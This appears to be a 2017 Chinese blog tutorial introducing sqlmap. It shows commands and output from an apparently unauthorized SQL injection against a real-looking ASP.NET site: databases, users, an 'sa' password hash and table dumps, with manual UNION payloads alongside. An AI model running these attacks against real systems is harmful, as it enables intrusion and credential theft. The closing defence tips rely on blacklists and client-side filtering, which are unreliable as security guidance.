这是最近学习渗透和网站攻防的文章,希望能深入地学习这部分知识,自己作为一个初学者,前一篇文章从数据库原理解读了防止SQL注入,这篇文章通过SQLMAP工具简单介绍SQL注入及用法。自己仍在慢慢探索网络攻防和渗透,希望文章对你有所帮助,尤其是学习网络安全的初学者,如果文章中存在错误或不足之处,还请海涵~

一.SQLMAP介绍
        1.基础介绍
        2.安装过程
        3.漏洞检测
    二.SQLMAP基础用法
        1.获取所有数据库
        2.获取当前数据库
        3.获取数据库所有用户
        4.获取数据库当前用户
        5.获取数据库所有用户和密码
        6.获取数据库所有表
        7.获取数据库登录表所有字段
        8.获取数据库登录表用户名和密码
    三.总结

前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入

强推文章:
渗透测试工具sqlmap基础教程 - zgyulongfei

一. SQLMAP介绍

1.基础介绍
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

SQLMAP是一款非常强大的开源渗透测试工具,用于自动检测和利用SQL注入漏洞控制数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,通过外部连接访问数据库底层文件系统和操作系统,并执行命令实现渗透。

2.安装过程
由于它是通过Python语言开发完成,需要安装Python环境,下面开始安装SQLMAP。
方法一:调用Pyhon命令pip install sqlmap安装

方法二:从Github中获取SQLMAP进行安装
下载地址:https://github.com/sqlmapproject/sqlmap

3.漏洞检测
cd去到Python环境sqlmap文件夹下,运行命令:

python sqlmap.py -u "http://..../tztgxx.aspx?code=115"

运行结果如下图所示,-u表示网址url。

输出GET的四种注入类型,分别为:boolean-based blind、stacked queries、time-based blind、UNION query。这里你可能会发现和我们的第一篇文章手动讲解SQL注入类似,包括:AND 1327=1327、UNION ALL等。

输出结果:
(1) 操作系统:Windows 2000
(2) Web应用技术:ASP.NET,ASP.NET 2.0,  Microsoft IIS 5.0
(3) 数据库:Microsoft SQL Server 2000

下面通过一个实例进行讲解SQLMAP的基础用法。

二. SQLMAP基础用法

SQLMAP的基础用法和前面基础文章类似,都是通过漏洞和SQL语句获取相关信息,具体用法如下:

1.获取所有数据库
参数:--dbs
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --dbs

运行结果如下图所示,获取9个数据库,其中--dbs参数表示databases。

2.获取当前数据库
参数:--current-db
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db

运行结果如下图所示,获取9个数据库。其中--current-db参数表示当前数据库,相当于前文MSSQL的db_name()获取数据库字段。

输出结果:akykd_new
对应前文:
    http://xxxxx/show.asp?code=-1' union all 
    select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 --  
输出结果如下所示:
    附件3:ahykd_new
其中数据库的名称就是ahykd_new,接下来相同的道理获取数据库所有表及列。

3.获取数据库所有用户
参数:--users
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --users

运行结果如下图所示,获取2个用户库。

输出结果:两个用户
    (1)BUILTIN\\Adminstrators
    (2)sa

4. 获取数据库当前用户
参数:--current-user
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-user

运行结果如下图所示,获取当前数据库用户sa。

5. 获取数据库所有用户和密码
参数:--passwords
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords

运行结果如下图所示,获取数据库用户和密码。

输出结果:
database management system users password hashes:
[*] BUILTIN\\Administrators [1]:
    password hash: NULL
[*] sa [1]:
    password hash: 0x01006e27653a36bbc7907ec45a0060e0c5065ea5172f249faa73ba704d1440b4ec497e552b6c1c27a6a34b7f575b

6. 获取数据库所有表
参数:-D ahykd_new --tables
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new --tables

运行结果如下图所示,获取数据库ahykd_new的所有表,其中-D表示数据库,--tables表示所有表。

通过人为猜解,知道登陆表位usr。
对应前文:
    http://xxxxx/show.asp?code=-1' union all 
    select 1,null,3,null,null,6,7,8,
    (select top 1 name from sysobjects where type='U'),10 --
输出结果如下所示: 
    附件1:7
    附件2:8
    附件3:kc_jxjd
其中top 1 name用于输出1个字段 ,sysobjects中u为用户表。

7. 获取数据库登录表所有字段
参数:-D ahykd_new -T usr --columns
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr --columns

运行结果如下图所示,获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,--columns表示usr表所有列。

是不是感觉到了SQLMAP的强大,其中用户名usr_name、密码passwd。
对应前文:
    http://xxxxx/show.asp?code=-1' union all 
    select 1,null,3,null,null,6,7,8,
    (select top 1 name from syscolmns where id=object_id('usr')),10 --
输出结果如下所示: 
    附件1:7
    附件2:8
    附件3:answer
其中top 1 name用于输出1个字段,表usr的一个列表。

8. 获取数据库登录表用户名和密码
参数:-D ahykd_new -T usr -C "usr_name,password" --dump  
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,password" --dump 

获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,-C表示输出字段(usr_name、passwd),--dump输出所有值。

如果字段内容太多,可以设置输出个数,如10个用户名和密码。
参数:-D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump
命令:

python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump 

输出结果为空,报警告“the SQL query provided does not return any output”。

正常的输出结果例如下图所示,再通过md5解密即可。

三. 总结

真正的困难在于如何找到一个存在漏洞的网站,如何去防护。现在很多网站都应做好相关防御措施,手工SQL注入是没有反应的,但是找到漏洞后,再利用SQLMAP就能够找到相应的用户名和密码。
参考前文,个人理解的防御措施:

1.在URL设置不允许非法字符,如单引号、等号、注释--、减号,提示非法参数;
    2.在URL设置不允许SQL常见的关键词,如and、select、or、insert等;
    3.传递的id=115参数必须为数字才能正常跳转,否则跳转错误;
    4.服务器启用SQL注入拦截功能,提示当前网页的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墙拦截,因为可能通过POST、Cookies进行攻击,各方面都需要做到防御。
    5.可以使用JS在客户端进行不安全字符屏蔽,也可以在jsp中调用该函数检查是否包函非法字符,或使用正则表达式过滤传入的参数,防止SQL从URL注入。

希望文章对你有所帮助,尤其是网络安全的程序员,因为系列文章是和前文息息相关的,所以看着有些凌乱。如果文章存在错误或不足之处,还请海涵。感谢娜师傅的一路陪伴,学中文的扔掉了手中的尤克里里,教我写代码也是很疯狂的啊,哈哈!不忘初心,继续前行。加油,秀璋。绿妖,晚安!
(By:Eastmount 2017-07-17 晚上12点  http://blog.csdn.net/eastmount/ )

[渗透攻防] 二.SQL MAP工具从零解读数据库及基础用法相关推荐

  1. Kali-WIFI攻防(二)----无线网络分析工具Aircrack-ng

    一.工具简介 Aircrack-ng是一个与802.11标准的无线网络分析有关的安全软件,主要功能有:网络侦测,数据包嗅探,WEP和WPA/WPA2-PSK破解,他可以恢复密钥一旦足够的数据包已被抓获 ...

  2. [渗透攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包

    这是最近学习渗透和网站攻防的基础性文章,前面文章从数据库原理解读了防止SQL注入.SQLMAP的基础用法.数据库差异备份.Caidao神器.这篇文章将详细讲解MySQL数据库攻防知识,有点类似第一篇文 ...

  3. [渗透攻防] 三.数据库之差异备份及Caidao利器

    这是最近学习渗透和网站攻防的文章,前面文章从数据库原理解读了防止SQL注入.SQLMAP的基础用法.这篇文章主要讲解数据库知识之差异备份及强大的利器Caidao.希望能深入地学习这部分知识,自己作为一 ...

  4. 微信小程序——数组操作 (增加删除修改遍历)map、filter、forEach、find的用法、二维数组,排序,求和、指定长度数组赋值

    一.数组的操作 Array.push() ->在数组后面继续插入内容 Array.pop() ->拿走数组最后一个内容 Array-shift()->拿走数组的第一个内容 (unsh ...

  5. 渗透攻防必备工具(基础篇,收藏起来)

    0x00 简介 在黑盒测试的渗透测试项目,HW等进行渗透测试会使用到那些工具?下面做一个简短的常见基础篇工具使用介绍, 0x01 信息收集篇 综合信息收集工具:railgun github项目地址:h ...

  6. 渗透测试培训必会工具xray扫描器被动扫描的使用(二)

    渗透测试培训必会工具xray扫描器的使用(一) 承接上篇,这次我们讲解被动扫描. 本例我们使用kalilinux,以及kali下的burpsuite结合来使用. 首先执行命令: ./xray_linu ...

  7. 《域渗透攻防指南》签名版预售来啦

    千呼万唤始出来!终于,在广大粉丝翘首期盼下,国内首本专门讲述域内攻防的书籍<域渗透攻防指南>在2022年最后一个月和大家见面了.为了回馈粉丝的等待,让粉丝早日拿到心仪的书,特此联合机械工业 ...

  8. SQL 注入工具集合

    众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker B ...

  9. 【分享】小工具大智慧之Sql执行工具

    [分享]小工具大智慧之Sql执行工具 原文:[分享]小工具大智慧之Sql执行工具 工具概况 情况是这样的,以前我们公司有很多Sql用于完成一些很不起眼但又不得不完成的业务,出于方便就直接在Sql查询分 ...

最新文章

  1. WINDOWSPHONE STUDY1:创建一个 Windows Phone 7 下的简单 RSS 阅读器
  2. 智能车竞赛华南赛区湖北文理学院赛点
  3. POJ - 1456 贪心 堆常用操作 注意细节
  4. js函数的内部属性---arguments,callee,caller
  5. 面向对象之反射、包装、(定制)
  6. 信息学奥赛一本通 2034:【例5.1】反序输出
  7. dropload.min.js 下拉刷新后,无法上拉加载更多
  8. Eclipse 4.16 稳定版发布
  9. Linux服务器安装JavaWeb环境(三) RocketMQ,Nacos
  10. 2018百度原创力排行榜公示(转载)
  11. sqoop关系型数据迁移原理以及map端内存为何不会爆掉窥探
  12. 机器学习- 吴恩达Andrew Ng Week4 神经网络Neural Networks知识总结
  13. 在线考试系统设计+源码
  14. Android中的传感器之---陀螺仪传感器
  15. 迄今为止最完整的DDD实践
  16. Wipe In and Wipe Out 抹进、抹出(动画显示、动画隐藏)(展开、折叠)(拉下、收起)
  17. Android 设备兼容-[Android_YangKe]
  18. 计算机和我的关系 论文参考文献,近几年计算机学生参考文献 计算机学生期刊参考文献哪里找...
  19. 基于JAVA+JSP+MYSQL的出差报销管理系统
  20. 任务并行库(Task Parellel Library)parallel.for parallel.foreach、List、ConcurrentBag 并行集合、线程安全结合

热门文章

  1. C++ 变量判定的螺旋法则
  2. 重磅开源 KSQL:用于 Apache Kafka 的流数据 SQL 引擎 2017.8.29
  3. 历史命令与实时记录(redhat6.8)
  4. 函数和常用模块【day04】:函数参数及调用(二)
  5. PHP中被忽略的性能优化利器:生成器
  6. Go goroutine
  7. GitHub 上 57 款最流行的开源深度学习项目【转】
  8. leveldb 学习。
  9. 按照顺序执行异步ajax的回调函数
  10. 第12章 与Spring集成